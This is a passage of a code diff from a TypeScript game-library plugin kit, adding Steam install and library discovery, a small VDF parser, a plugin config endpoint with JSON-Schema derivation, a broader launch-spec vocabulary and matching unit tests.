db.close();
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,104 @@
|
||||
// Where Steam lives on this host, and which `steamapps` dirs hold installed titles.
|
||||
//
|
||||
// Ported from the host scanner (steam.rs `steam_roots` / `steam_library_dirs`) with one deliberate
|
||||
// addition and one deliberate exclusion, both about the Windows runner's account:
|
||||
//
|
||||
// * ADDED: HKLM `WOW6432Node\Valve\Steam\InstallPath`, so a non-default Steam install dir is
|
||||
// found. The host scanner never covered this (it relied on an explorer.exe protocol fallback at
|
||||
// launch time), but a plugin that can't find the root finds no games at all.
|
||||
// * EXCLUDED: HKCU `Software\Valve\Steam`. The runner is LocalService, whose HKCU is its own empty
|
||||
// hive, not the operator's — reading it would look like "Steam isn't installed".
|
||||
import * as os from "node:os";
|
||||
import * as path from "node:path";
|
||||
import { isDir, listDir, readTextCapped } from "./fs.js";
|
||||
import { regQueryValue } from "./registry.js";
|
||||
import { vdfPaths } from "./vdf.js";
|
||||
|
||||
/** Canonicalize-ish: resolve and drop a trailing separator so dedup is reliable. */
|
||||
const norm = (p: string): string => path.resolve(p);
|
||||
|
||||
/**
|
||||
* Candidate Steam roots that actually exist (have a `steamapps` dir), deduped.
|
||||
*
|
||||
* A "root" is the Steam install itself — `userdata/`, `appcache/` and the first `steamapps/` live
|
||||
* under it. Extra library folders on other drives are NOT roots; see {@link steamLibraryDirs}.
|
||||
*/
|
||||
export const steamRoots = (): string[] => {
|
||||
const candidates: string[] = [];
|
||||
if (process.platform === "win32") {
|
||||
for (const v of ["ProgramFiles(x86)", "ProgramFiles", "ProgramW6432"]) {
|
||||
const pf = process.env[v];
|
||||
if (pf) candidates.push(path.join(pf, "Steam"));
|
||||
}
|
||||
// The registry install path — covers a Steam installed somewhere other than Program Files.
|
||||
for (const key of [
|
||||
"HKLM\\SOFTWARE\\WOW6432Node\\Valve\\Steam",
|
||||
"HKLM\\SOFTWARE\\Valve\\Steam",
|
||||
]) {
|
||||
const p = regQueryValue(key, "InstallPath");
|
||||
if (p) candidates.push(p);
|
||||
}
|
||||
} else {
|
||||
const home = os.homedir();
|
||||
if (home) {
|
||||
candidates.push(
|
||||
path.join(home, ".local/share/Steam"),
|
||||
path.join(home, ".steam/steam"),
|
||||
path.join(home, ".steam/root"),
|
||||
// Flatpak Steam
|
||||
path.join(home, ".var/app/com.valvesoftware.Steam/.local/share/Steam"),
|
||||
);
|
||||
}
|
||||
}
|
||||
const seen = new Set<string>();
|
||||
const roots: string[] = [];
|
||||
for (const c of candidates) {
|
||||
const n = norm(c);
|
||||
if (!seen.has(n) && isDir(path.join(n, "steamapps"))) {
|
||||
seen.add(n);
|
||||
roots.push(n);
|
||||
}
|
||||
}
|
||||
return roots;
|
||||
};
|
||||
|
||||
/**
|
||||
* Every `steamapps` dir holding installed titles: each root's own, plus the extra library folders
|
||||
* listed in its `libraryfolders.vdf` (Steam installs to other drives).
|
||||
*/
|
||||
export const steamLibraryDirs = (roots = steamRoots()): string[] => {
|
||||
const seen = new Set<string>();
|
||||
const dirs: string[] = [];
|
||||
const push = (p: string) => {
|
||||
const n = norm(p);
|
||||
if (!seen.has(n) && isDir(n)) {
|
||||
seen.add(n);
|
||||
dirs.push(n);
|
||||
}
|
||||
};
|
||||
for (const root of roots) {
|
||||
const steamapps = path.join(root, "steamapps");
|
||||
const text = readTextCapped(path.join(steamapps, "libraryfolders.vdf"));
|
||||
if (text !== undefined) {
|
||||
for (const p of vdfPaths(text)) push(path.join(p, "steamapps"));
|
||||
}
|
||||
push(steamapps);
|
||||
}
|
||||
return dirs;
|
||||
};
|
||||
|
||||
/**
|
||||
* Every `userdata/<accountId>/config` dir across all roots — one per Steam account that has signed
|
||||
* in on this host. `shortcuts.vdf` and the `grid/` art overrides live here.
|
||||
*/
|
||||
export const steamUserConfigDirs = (roots = steamRoots()): string[] => {
|
||||
const out: string[] = [];
|
||||
for (const root of roots) {
|
||||
const userdata = path.join(root, "userdata");
|
||||
for (const acct of listDir(userdata)) {
|
||||
const cfg = path.join(userdata, acct, "config");
|
||||
if (isDir(cfg)) out.push(cfg);
|
||||
}
|
||||
}
|
||||
return out;
|
||||
};
|
||||
@@ -0,0 +1,80 @@
|
||||
// Valve Data Format (text) — the flat-field reader Steam's `libraryfolders.vdf` and
|
||||
// `appmanifest_<appid>.acf` need, ported from the host's in-tree scanner
|
||||
// (crates/punktfunk-host/src/library/steam.rs `vdf_value` / `vdf_paths` / `scan_manifests`).
|
||||
//
|
||||
// Deliberately NOT a full VDF parser. Every field these files expose that a library plugin cares
|
||||
// about sits on one line as `"key" "value"`, and a real parser would be a much larger surface to
|
||||
// keep correct against a format Valve changes without notice. If you need nested values, read the
|
||||
// file yourself — this is the 90% case, kept small enough to be obviously right.
|
||||
|
||||
/** `"<key>" "<value>"` on a single line → `<value>`. Whitespace between the two is arbitrary. */
|
||||
export const vdfValue = (line: string, key: string): string | undefined => {
|
||||
const rest = line.trimStart();
|
||||
const prefix = `"${key}"`;
|
||||
if (!rest.startsWith(prefix)) return undefined;
|
||||
const after = rest.slice(prefix.length);
|
||||
const open = after.indexOf('"');
|
||||
if (open === -1) return undefined;
|
||||
const value = after.slice(open + 1);
|
||||
const close = value.indexOf('"');
|
||||
if (close === -1) return undefined;
|
||||
return value.slice(0, close);
|
||||
};
|
||||
|
||||
/** The first `"<key>" "<value>"` anywhere in a multi-line document. */
|
||||
export const vdfField = (text: string, key: string): string | undefined => {
|
||||
for (const line of text.split("\n")) {
|
||||
const v = vdfValue(line, key);
|
||||
if (v !== undefined) return v;
|
||||
}
|
||||
return undefined;
|
||||
};
|
||||
|
||||
/**
|
||||
* Every `"path" "<dir>"` value in a `libraryfolders.vdf` — the extra drives Steam installs to.
|
||||
*
|
||||
* On Windows the values are backslash-escaped (`D:\\SteamLibrary`), so `\\` collapses to `\`. POSIX
|
||||
* paths need no unescaping, and the collapse is harmless there (a literal `\\` in a Linux path is
|
||||
* vanishingly rare and was already ambiguous).
|
||||
*/
|
||||
export const vdfPaths = (text: string): string[] =>
|
||||
text
|
||||
.split("\n")
|
||||
.map((l) => vdfValue(l, "path"))
|
||||
.filter((p): p is string => p !== undefined)
|
||||
.map((p) => p.replaceAll("\\\\", "\\"));
|
||||
|
||||
/** One installed title as described by its `appmanifest_<appid>.acf`. */
|
||||
export interface AppManifest {
|
||||
readonly appid: number;
|
||||
readonly name: string;
|
||||
/** The bare folder name under this library's `common/` — resolve it yourself. */
|
||||
readonly installdir?: string;
|
||||
}
|
||||
|
||||
/** Parse an `.acf` manifest's flat fields. `undefined` when it carries no usable appid+name. */
|
||||
export const parseAppManifest = (text: string): AppManifest | undefined => {
|
||||
const appid = Number(vdfField(text, "appid"));
|
||||
const name = vdfField(text, "name");
|
||||
if (!Number.isInteger(appid) || appid <= 0 || !name) return undefined;
|
||||
const installdir = vdfField(text, "installdir");
|
||||
return installdir ? { appid, name, installdir } : { appid, name };
|
||||
};
|
||||
|
||||
/**
|
||||
* Steam installs runtimes and redistributables as "apps" too. A *game* library must not list them.
|
||||
* Ported verbatim from the host scanner so an extracted steam plugin filters identically — the
|
||||
* parity harness compares entry sets, and a stray Proton row would fail it.
|
||||
*/
|
||||
export const isSteamTool = (appid: number, name: string): boolean => {
|
||||
// Steamworks Common Redistributables; Steam Linux Runtime 1.0/2.0/3.0 (Sniper/Soldier).
|
||||
const TOOL_IDS = [228980, 1070560, 1391110, 1628350, 1493710];
|
||||
if (TOOL_IDS.includes(appid)) return true;
|
||||
const n = name.toLowerCase();
|
||||
return (
|
||||
n.includes("proton") ||
|
||||
n.startsWith("steam linux runtime") ||
|
||||
n.includes("steamworks common") ||
|
||||
n.includes("steamvr")
|
||||
);
|
||||
};
|
||||
@@ -21,14 +21,25 @@ export const resolvePluginBase = (): string => {
|
||||
export const useIsEmbedded = (): boolean =>
|
||||
typeof window !== "undefined" && window.parent !== window;
|
||||
|
||||
/** Mirror a route into the console's address bar (best-effort, embedded only). */
|
||||
/**
|
||||
* Mirror a route into the console's address bar (best-effort, embedded only).
|
||||
*
|
||||
* The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a
|
||||
* DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in
|
||||
* operator — security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would
|
||||
* target the PLUGIN's origin, not the console's, and every message would be silently dropped.
|
||||
*
|
||||
* `"*"` is safe here because the payload is a route path the plugin itself just navigated to —
|
||||
* nothing secret — and the console verifies `event.origin` against the plugin origin before acting
|
||||
* on it, so the trust decision is made on the receiving side where it belongs.
|
||||
*/
|
||||
export const postNavigate = (path: string): void => {
|
||||
try {
|
||||
if (window.parent !== window) {
|
||||
window.parent.postMessage({ type: "pf-ui:navigate", path }, "*");
|
||||
}
|
||||
} catch {
|
||||
// cross-origin parent or detached — deep-link sync is best-effort
|
||||
// detached parent — deep-link sync is best-effort
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -9,13 +9,36 @@ import type { ProviderEntry } from "./wire.js";
|
||||
|
||||
export * from "./wire.js";
|
||||
|
||||
/** What the host echoed back for one reconciled entry — enough to tell whether a claim took. */
|
||||
export interface ReconciledEntry {
|
||||
readonly id: string;
|
||||
readonly external_id?: string;
|
||||
/** The store badge the host assigned: the claim when it honoured one, else `"custom"`. */
|
||||
readonly store?: string;
|
||||
}
|
||||
|
||||
export interface ProviderClientService {
|
||||
/** Full-replace reconcile: PUT the desired set; the host diffs by `external_id`. */
|
||||
/**
|
||||
* Full-replace reconcile: PUT the desired set; the host diffs by `external_id`.
|
||||
*
|
||||
* `store` claims that store for this provider (design D2), which is what makes the entries carry
|
||||
* the store's own identity — deterministic `<store>:<external_id>` ids instead of opaque
|
||||
* `custom:<id>` ones, the store's badge, and suppression of the host's matching built-in scanner
|
||||
* so the two never double-list. One provider per store: a second claimant gets a 409.
|
||||
*
|
||||
* Returns the host's echoed entries so a caller can verify the claim actually took — a host
|
||||
* predating claims ignores the query parameter silently, and the only way to notice is that the
|
||||
* entries come back as `custom`.
|
||||
*/
|
||||
readonly reconcile: (
|
||||
providerId: string,
|
||||
entries: ReadonlyArray<ProviderEntry>,
|
||||
) => Effect.Effect<void, HostRequestError>;
|
||||
/** Remove every entry this provider owns (the explicit-uninstall path). */
|
||||
store?: string,
|
||||
) => Effect.Effect<ReadonlyArray<ReconciledEntry>, HostRequestError>;
|
||||
/**
|
||||
* Remove every entry this provider owns **and release its store claim** (the explicit-uninstall
|
||||
* path). Releasing is what brings the host's built-in scanner back.
|
||||
*/
|
||||
readonly remove: (providerId: string) => Effect.Effect<void, HostRequestError>;
|
||||
}
|
||||
|
||||
@@ -28,10 +51,25 @@ export class ProviderClient extends Context.Service<
|
||||
Effect.gen(function* () {
|
||||
const host = yield* HostClient;
|
||||
return {
|
||||
reconcile: (providerId, entries) =>
|
||||
reconcile: (providerId, entries, store) =>
|
||||
host
|
||||
.request("PUT", `/library/provider/${providerId}`, entries)
|
||||
.pipe(Effect.asVoid),
|
||||
.request(
|
||||
"PUT",
|
||||
`/library/provider/${providerId}${
|
||||
store ? `?store=${encodeURIComponent(store)}` : ""
|
||||
}`,
|
||||
entries,
|
||||
)
|
||||
.pipe(
|
||||
// The host answers with its resulting entries. An older host may answer
|
||||
// with something else, so treat a non-array as "no echo" rather than
|
||||
// failing the sync.
|
||||
Effect.map((body) =>
|
||||
Array.isArray(body)
|
||||
? (body as ReadonlyArray<ReconciledEntry>)
|
||||
: [],
|
||||
),
|
||||
),
|
||||
remove: (providerId) =>
|
||||
host
|
||||
.request("DELETE", `/library/provider/${providerId}`)
|
||||
|
||||
+130
-3
@@ -3,8 +3,9 @@
|
||||
// register/renew/deregister through Scope. Validated end-to-end by the phase-0 spike:
|
||||
// core-only env layers, no platform package, SPA fallthrough preserved.
|
||||
import { type PluginUiHandle, servePluginUi } from "@punktfunk/host";
|
||||
import { Effect, FileSystem, Layer, Path, Scope } from "effect";
|
||||
import { Effect, FileSystem, Layer, Path, Schema, Scope } from "effect";
|
||||
import { Etag, HttpPlatform, HttpRouter } from "effect/unstable/http";
|
||||
import type { ConfigService } from "./config.js";
|
||||
import { UiServeError } from "./errors.js";
|
||||
import { HostClient, PluginInfo } from "./host-client.js";
|
||||
|
||||
@@ -17,6 +18,100 @@ export const httpApiEnv = Layer.provideMerge(
|
||||
FileSystem.layerNoop({}),
|
||||
);
|
||||
|
||||
/**
|
||||
* Derive a JSON Schema for a config schema, for the console's generic settings form.
|
||||
*
|
||||
* Returns `null` when derivation isn't possible, which the console reads as "render the raw JSON
|
||||
* editor instead" — the fallback that bounds this whole feature's risk.
|
||||
*
|
||||
* Authoring rules, verified against effect 4.0.0-beta.99 and pinned by
|
||||
* `test/library-config.test.ts` — if an effect upgrade changes any of them, that test fails:
|
||||
*
|
||||
* * Use `Schema.Finite` / `Schema.Int`, **never `Schema.Number`** — Number's *encoded* form admits
|
||||
* the strings `"NaN"`/`"Infinity"`/`"-Infinity"`, so it derives a four-way `anyOf` that no sane
|
||||
* form can render as a number input.
|
||||
* * A decoding default is an **Effect**: `withDecodingDefaultKey(Effect.succeed(true), …)`. Passing
|
||||
* a bare thunk (`() => true`) still derives a schema and still type-checks, then dies at DECODE
|
||||
* time with "Not a valid effect" — deriving is not evidence that the schema works.
|
||||
* * Annotate every field: `.annotate({ title, description, default })`. The derivation does NOT
|
||||
* infer `default` from `withDecodingDefaultKey`, so an un-annotated field shows no placeholder.
|
||||
* * A *checked* schema (`Schema.Int`, or anything with `.check(...)`) nests its annotations and
|
||||
* constraints under `allOf`, so a form must merge those branches, not read only the top level.
|
||||
* * `Schema.Literals([...])` derives a clean `enum` — prefer it over a union of strings. A union of
|
||||
* non-literals derives an `anyOf`, which is the JSON-editor fallback case.
|
||||
* * Fields carrying `withDecodingDefaultKey(..., { encodingStrategy: "omit" })` correctly drop out
|
||||
* of `required`, which is what keeps the raw file free of baked-in defaults.
|
||||
*/
|
||||
export const deriveConfigJsonSchema = (
|
||||
schema: Schema.Top,
|
||||
): Record<string, unknown> | null => {
|
||||
try {
|
||||
const doc = Schema.toJsonSchemaDocument(schema as never);
|
||||
return doc as unknown as Record<string, unknown>;
|
||||
} catch {
|
||||
// A schema shape the derivation can't express (a transform, a recursive ref). The console
|
||||
// falls back to the JSON editor; the PUT still validates by decode, so nothing is lost but
|
||||
// the pretty form.
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
/** The plugin config surface the console's settings drawer drives. */
|
||||
export interface ServeUiConfig<S extends Schema.Top> {
|
||||
/** The schema the raw file is validated against, and the form is derived from. */
|
||||
readonly schema: S;
|
||||
/** The config service (from `makeConfigService`) holding the raw round-trip semantics. */
|
||||
readonly service: ConfigService<S>;
|
||||
}
|
||||
|
||||
/**
|
||||
* The `/__config` request handler, split out so it can be driven directly in tests (the wire shape
|
||||
* is the contract the console's settings drawer codes against — it deserves a real round-trip test,
|
||||
* not a mock).
|
||||
*
|
||||
* `ConfigService`'s effects are context-free by construction (the `PluginInfo` was resolved when the
|
||||
* service was built), so this runs them straight from a plain async handler.
|
||||
*/
|
||||
export const makeConfigHandler = <S extends Schema.Top>(
|
||||
cfg: ServeUiConfig<S>,
|
||||
): ((req: Request) => Promise<Response>) => {
|
||||
// The derivation is stable for the life of the process — do it once, not per request.
|
||||
const schema = deriveConfigJsonSchema(cfg.schema);
|
||||
return async (req: Request): Promise<Response> => {
|
||||
if (req.method === "GET") {
|
||||
// A config file that fails to decode must not blank the whole drawer — answer with a
|
||||
// null value so the operator can still see (and replace) what is on disk.
|
||||
const value = await Effect.runPromise(cfg.service.loadRaw).catch(
|
||||
() => null,
|
||||
);
|
||||
return Response.json({ schema, value });
|
||||
}
|
||||
if (req.method === "PUT") {
|
||||
let body: unknown;
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch (cause) {
|
||||
return Response.json(
|
||||
{ error: "body must be JSON", issue: String(cause) },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
try {
|
||||
// Validate-by-decode, persist RAW: `saveRaw` refuses a body the schema rejects and
|
||||
// never writes decoded defaults back into the operator's file.
|
||||
await Effect.runPromise(cfg.service.saveRaw(body));
|
||||
return Response.json({ ok: true });
|
||||
} catch (cause) {
|
||||
return Response.json(
|
||||
{ error: "config rejected", issue: String(cause) },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
return new Response("method not allowed", { status: 405 });
|
||||
};
|
||||
};
|
||||
|
||||
export interface ServeUiOptions {
|
||||
/** Console nav title. */
|
||||
readonly title: string;
|
||||
@@ -26,12 +121,33 @@ export interface ServeUiOptions {
|
||||
readonly version?: string;
|
||||
/** Built SPA directory (served with SPA fallback by the SDK). */
|
||||
readonly staticDir?: string | URL;
|
||||
/**
|
||||
* What kind of plugin this is (`[a-z][a-z0-9-]{0,31}`). `"library"` keeps the plugin out of the
|
||||
* console nav — its entry point is the Library section's Game sources surface instead.
|
||||
*/
|
||||
readonly category?: string;
|
||||
/**
|
||||
* Serve `GET`/`PUT /__config` for the console's **generic settings form**, so a plugin with
|
||||
* settings does not need to ship an SPA at all.
|
||||
*
|
||||
* `GET` answers `{schema, value}` — the derived JSON Schema (or `null`) and the raw,
|
||||
* operator-authored config. `PUT` validates by decoding the body against the schema and, only
|
||||
* then, persists it **raw**; defaults are never baked into the file. A rejected body comes back
|
||||
* 400 with the decode issue.
|
||||
*
|
||||
* Auth is the existing per-boot UI secret — the console reaches this through its session-gated
|
||||
* `/plugin-ui/<id>/…` proxy, so there is no new host surface and nothing new exposed to the LAN.
|
||||
*/
|
||||
readonly config?: ServeUiConfig<Schema.Top>;
|
||||
/**
|
||||
* The plugin API: `HttpApiBuilder.layer(api)` + group handler layers + raw routes
|
||||
* (e.g. `sseRoute`), with plugin services already provided. `httpApiEnv` is provided
|
||||
* here — only `HttpRouter` may remain open.
|
||||
*
|
||||
* Optional: a plugin whose only surface is `__config` (every library scanner) serves no API of
|
||||
* its own, and omitting this leaves an empty router that 404s under `apiPrefix`.
|
||||
*/
|
||||
readonly api: Layer.Layer<never, never, HttpRouter.HttpRouter>;
|
||||
readonly api?: Layer.Layer<never, never, HttpRouter.HttpRouter>;
|
||||
/** Path prefix owned by the API handler (default "/api/"). */
|
||||
readonly apiPrefix?: string;
|
||||
}
|
||||
@@ -54,14 +170,22 @@ export const serveUi = (
|
||||
const prefix = opts.apiPrefix ?? "/api/";
|
||||
|
||||
const { handler, dispose } = HttpRouter.toWebHandler(
|
||||
Layer.provide(opts.api, httpApiEnv),
|
||||
Layer.provide(opts.api ?? Layer.empty, httpApiEnv),
|
||||
);
|
||||
yield* Effect.addFinalizer(() =>
|
||||
Effect.promise(() => dispose()).pipe(Effect.ignore),
|
||||
);
|
||||
|
||||
const serveConfig = opts.config ? makeConfigHandler(opts.config) : undefined;
|
||||
|
||||
const fetch = async (req: Request): Promise<Response | undefined> => {
|
||||
const url = new URL(req.url);
|
||||
// `__`-prefixed paths are the kit/SDK's own contract surface (`__health` lives in the
|
||||
// SDK), deliberately checked BEFORE the API prefix and before any static asset so a
|
||||
// plugin's own routes can never shadow them.
|
||||
if (url.pathname === "/__config") {
|
||||
return serveConfig?.(req) ?? new Response("not found", { status: 404 });
|
||||
}
|
||||
if (!url.pathname.startsWith(prefix)) return undefined; // → static SPA
|
||||
return handler(req);
|
||||
};
|
||||
@@ -79,6 +203,9 @@ export const serveUi = (
|
||||
...(opts.staticDir !== undefined
|
||||
? { staticDir: opts.staticDir }
|
||||
: {}),
|
||||
...(opts.category !== undefined
|
||||
? { category: opts.category }
|
||||
: {}),
|
||||
fetch,
|
||||
}),
|
||||
catch: (cause) => new UiServeError({ cause }),
|
||||
|
||||
+58
-1
@@ -12,12 +12,45 @@ export const Artwork = Schema.Struct({
|
||||
});
|
||||
export type Artwork = typeof Artwork.Type;
|
||||
|
||||
/**
|
||||
* How the host should launch a title. **The host owns this vocabulary** — it validates the value
|
||||
* per kind and builds the actual URI / command line itself, so a plugin only ever supplies a
|
||||
* validated value, never a command. That is the security invariant behind the whole provider lane:
|
||||
* a client sends an entry id, and the host resolves what to run.
|
||||
*
|
||||
* `kind` is a plain string rather than a union so the kit never has to ship a release to keep up
|
||||
* with a host that grew a new kind. The kinds the host understands today:
|
||||
*
|
||||
* | kind | value | platforms |
|
||||
* |---|---|---|
|
||||
* | `command` | a shell command (operator-trust tier) | both |
|
||||
* | `steam_appid` | digits — an appid, or a 64-bit non-Steam-shortcut game id | both |
|
||||
* | `steam_ui` | `bigpicture` \| `desktop` — opens the Steam client itself | both |
|
||||
* | `launcher_ui` | a store id (`heroic`, `lutris`) — opens that launcher's own UI | linux |
|
||||
* | `lutris_id` | digits — a pga.db game id | linux |
|
||||
* | `heroic` | `<runner>:<appName>`, runner ∈ legendary/gog/nile | linux |
|
||||
* | `epic` | `<namespace>:<catalogItemId>:<appName>` or a bare appName | windows |
|
||||
* | `gog` | `exe \t args \t workdir` | windows |
|
||||
* | `aumid` | `<PFN>!<AppId>` | windows |
|
||||
*
|
||||
* An unknown kind is accepted on the wire and simply yields no launch recipe on that host, so a
|
||||
* plugin targeting a newer host degrades to an unlaunchable tile rather than a failed reconcile.
|
||||
*/
|
||||
export const LaunchSpec = Schema.Struct({
|
||||
kind: Schema.Literal("command"),
|
||||
kind: Schema.String,
|
||||
value: Schema.String,
|
||||
});
|
||||
export type LaunchSpec = typeof LaunchSpec.Type;
|
||||
|
||||
/**
|
||||
* Whether an entry is an ordinary title or the launcher application itself (Steam Big Picture,
|
||||
* Heroic, Playnite fullscreen). Launcher entries launch, lease and list exactly like games; a
|
||||
* console or client that knows the field groups them into their own rail, and one that doesn't
|
||||
* renders them as plain tiles.
|
||||
*/
|
||||
export const GameRole = Schema.Literals(["game", "launcher"]);
|
||||
export type GameRole = typeof GameRole.Type;
|
||||
|
||||
export const PrepStep = Schema.Struct({
|
||||
do: Schema.String,
|
||||
undo: Schema.optionalKey(Schema.NullOr(Schema.String)),
|
||||
@@ -43,6 +76,28 @@ export const DetectHint = Schema.Struct({
|
||||
exe: Schema.optionalKey(Schema.NullOr(Schema.String)),
|
||||
/** The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest signal. */
|
||||
process_name: Schema.optionalKey(Schema.NullOr(Schema.String)),
|
||||
/**
|
||||
* The Steam appid, for a title Steam itself installed. On Linux this is the **sharpest** signal
|
||||
* there is: Steam wraps every launch — native or Proton — in `reaper SteamLaunch AppId=<appid>`,
|
||||
* whose lifetime is exactly the game's. Send it if you have it.
|
||||
*/
|
||||
steam_appid: Schema.optionalKey(Schema.NullOr(Schema.Number)),
|
||||
/**
|
||||
* An environment variable the launcher stamps on the game's process. Load-bearing for launchers
|
||||
* that run games under Proton/Wine, where the process tree tells you very little (Heroic's
|
||||
* `HEROIC_APP_NAME` is the verified case). Omit `value` to match on the key's mere presence —
|
||||
* only safe for a launcher that runs one game at a time.
|
||||
*/
|
||||
env_marker: Schema.optionalKey(
|
||||
Schema.NullOr(
|
||||
Schema.Struct({
|
||||
/** `[A-Za-z0-9_]{1,64}` — the host rejects anything else. */
|
||||
key: Schema.String,
|
||||
/** At most 256 chars. */
|
||||
value: Schema.optionalKey(Schema.NullOr(Schema.String)),
|
||||
}),
|
||||
),
|
||||
),
|
||||
});
|
||||
export type DetectHint = typeof DetectHint.Type;
|
||||
|
||||
@@ -76,6 +131,8 @@ export const ProviderEntry = Schema.Struct({
|
||||
launch: Schema.optionalKey(Schema.NullOr(LaunchSpec)),
|
||||
prep: Schema.optionalKey(Schema.Array(PrepStep)),
|
||||
detect: Schema.optionalKey(DetectHint),
|
||||
/** `"game"` (default) or `"launcher"` — see {@link GameRole}. */
|
||||
role: Schema.optionalKey(GameRole),
|
||||
...GameMeta.fields,
|
||||
});
|
||||
export type ProviderEntry = typeof ProviderEntry.Type;
|
||||
|
||||
@@ -0,0 +1,240 @@
|
||||
// The `__config` contract — the wire shape the console's generic settings drawer codes against,
|
||||
// plus the JSON-Schema derivation's committed fixture (design M0/S2).
|
||||
//
|
||||
// The derivation fixture is not decoration: it is the record of WHICH schema shapes the generic
|
||||
// form can render. If an effect upgrade changes any of it, this test fails and the console's form
|
||||
// needs re-checking before the change ships — far cheaper than discovering it on a user's box.
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import * as fs from "node:fs";
|
||||
import * as os from "node:os";
|
||||
import * as path from "node:path";
|
||||
import { Effect, Layer, Schema } from "effect";
|
||||
import { makeConfigService } from "../src/config.js";
|
||||
import { pluginInfoLayer } from "../src/host-client.js";
|
||||
import { deriveConfigJsonSchema, makeConfigHandler } from "../src/ui-server.js";
|
||||
|
||||
/** A representative scanner config: booleans, a string, a string array, a nested object, an enum. */
|
||||
const ScannerConfig = Schema.Struct({
|
||||
enabled: Schema.Boolean.annotate({
|
||||
title: "Enable scanning",
|
||||
description: "Whether this source contributes titles.",
|
||||
default: true,
|
||||
}).pipe(
|
||||
Schema.withDecodingDefaultKey(Effect.succeed(true), {
|
||||
encodingStrategy: "omit",
|
||||
}),
|
||||
),
|
||||
root: Schema.optionalKey(
|
||||
Schema.String.annotate({ title: "Launcher root", description: "Absolute path." }),
|
||||
),
|
||||
extraRoots: Schema.Array(Schema.String)
|
||||
.annotate({ title: "Extra roots" })
|
||||
.pipe(
|
||||
Schema.withDecodingDefaultKey(
|
||||
Effect.succeed([] as ReadonlyArray<string>),
|
||||
{ encodingStrategy: "omit" },
|
||||
),
|
||||
),
|
||||
launchers: Schema.Struct({
|
||||
bigpicture: Schema.Boolean.annotate({ title: "Big Picture", default: true }),
|
||||
desktop: Schema.Boolean.annotate({ title: "Desktop", default: false }),
|
||||
}).pipe(
|
||||
Schema.withDecodingDefaultKey(
|
||||
Effect.succeed({ bigpicture: true, desktop: false }),
|
||||
{ encodingStrategy: "omit" },
|
||||
),
|
||||
),
|
||||
pollMinutes: Schema.Int.annotate({
|
||||
title: "Poll interval (minutes)",
|
||||
default: 15,
|
||||
}).pipe(
|
||||
Schema.withDecodingDefaultKey(Effect.succeed(15), {
|
||||
encodingStrategy: "omit",
|
||||
}),
|
||||
),
|
||||
artSource: Schema.Literals(["local", "cdn", "both"])
|
||||
.annotate({ title: "Art source", default: "both" })
|
||||
.pipe(
|
||||
Schema.withDecodingDefaultKey(Effect.succeed("both" as const), {
|
||||
encodingStrategy: "omit",
|
||||
}),
|
||||
),
|
||||
});
|
||||
|
||||
const props = (): Record<string, Record<string, unknown>> => {
|
||||
const doc = deriveConfigJsonSchema(ScannerConfig) as {
|
||||
schema: { properties: Record<string, Record<string, unknown>> };
|
||||
};
|
||||
return doc.schema.properties;
|
||||
};
|
||||
|
||||
describe("S2 — JSON Schema derivation for __config", () => {
|
||||
test("derives a renderable form for every shape a scanner config uses", () => {
|
||||
const p = props();
|
||||
expect(p.enabled).toMatchObject({ type: "boolean" });
|
||||
expect(p.root).toMatchObject({ type: "string" });
|
||||
expect(p.extraRoots).toMatchObject({
|
||||
type: "array",
|
||||
items: { type: "string" },
|
||||
});
|
||||
// A nested object stays nested — the form renders a fieldset, not a JSON blob.
|
||||
expect(p.launchers).toMatchObject({
|
||||
type: "object",
|
||||
properties: { bigpicture: { type: "boolean" }, desktop: { type: "boolean" } },
|
||||
});
|
||||
// A literal union derives a clean enum — prefer it over a union of strings.
|
||||
expect(p.artSource).toMatchObject({
|
||||
type: "string",
|
||||
enum: ["local", "cdn", "both"],
|
||||
});
|
||||
});
|
||||
|
||||
test("annotations pass through — they are the ONLY source of labels and defaults", () => {
|
||||
const p = props();
|
||||
expect(p.enabled.title).toBe("Enable scanning");
|
||||
expect(p.enabled.description).toBe("Whether this source contributes titles.");
|
||||
// The derivation does NOT infer `default` from withDecodingDefaultKey, so an un-annotated
|
||||
// field shows the form no placeholder at all. Annotate every field.
|
||||
expect(p.enabled.default).toBe(true);
|
||||
expect(p.artSource.default).toBe("both");
|
||||
// A CHECKED schema (Int is String-plus-a-check) nests its annotations under `allOf`, so a
|
||||
// form reading `default` must merge allOf branches rather than only looking at the top level.
|
||||
expect(p.pollMinutes.allOf).toEqual([
|
||||
{ default: 15, title: "Poll interval (minutes)" },
|
||||
]);
|
||||
});
|
||||
|
||||
test("a decoding default is an Effect, not a thunk — and it actually applies", () => {
|
||||
// The trap this pins: `withDecodingDefaultKey` takes an `Effect`, and passing a bare thunk
|
||||
// (`() => true`) type-checks against the derivation path but blows up at DECODE time with
|
||||
// "Not a valid effect". Deriving a schema is therefore NOT evidence that it works.
|
||||
expect(Schema.decodeUnknownSync(ScannerConfig)({})).toMatchObject({
|
||||
enabled: true,
|
||||
pollMinutes: 15,
|
||||
artSource: "both",
|
||||
launchers: { bigpicture: true, desktop: false },
|
||||
});
|
||||
});
|
||||
|
||||
test("Schema.Int derives a plain integer — Schema.Number does NOT", () => {
|
||||
expect(props().pollMinutes).toMatchObject({ type: "integer" });
|
||||
// The trap, pinned: Schema.Number's ENCODED form admits "NaN"/"Infinity"/"-Infinity", so it
|
||||
// derives a four-way anyOf that no number input can render. Use Finite or Int.
|
||||
const bad = deriveConfigJsonSchema(
|
||||
Schema.Struct({ n: Schema.Number }),
|
||||
) as { schema: { properties: { n: { anyOf?: unknown[] } } } };
|
||||
expect(Array.isArray(bad.schema.properties.n.anyOf)).toBe(true);
|
||||
const ok = deriveConfigJsonSchema(
|
||||
Schema.Struct({ n: Schema.Finite }),
|
||||
) as { schema: { properties: { n: { type?: string } } } };
|
||||
expect(ok.schema.properties.n.type).toBe("number");
|
||||
});
|
||||
|
||||
test("defaulted fields drop out of `required` — the raw file stays default-free", () => {
|
||||
const doc = deriveConfigJsonSchema(ScannerConfig) as {
|
||||
schema: { required?: string[] };
|
||||
};
|
||||
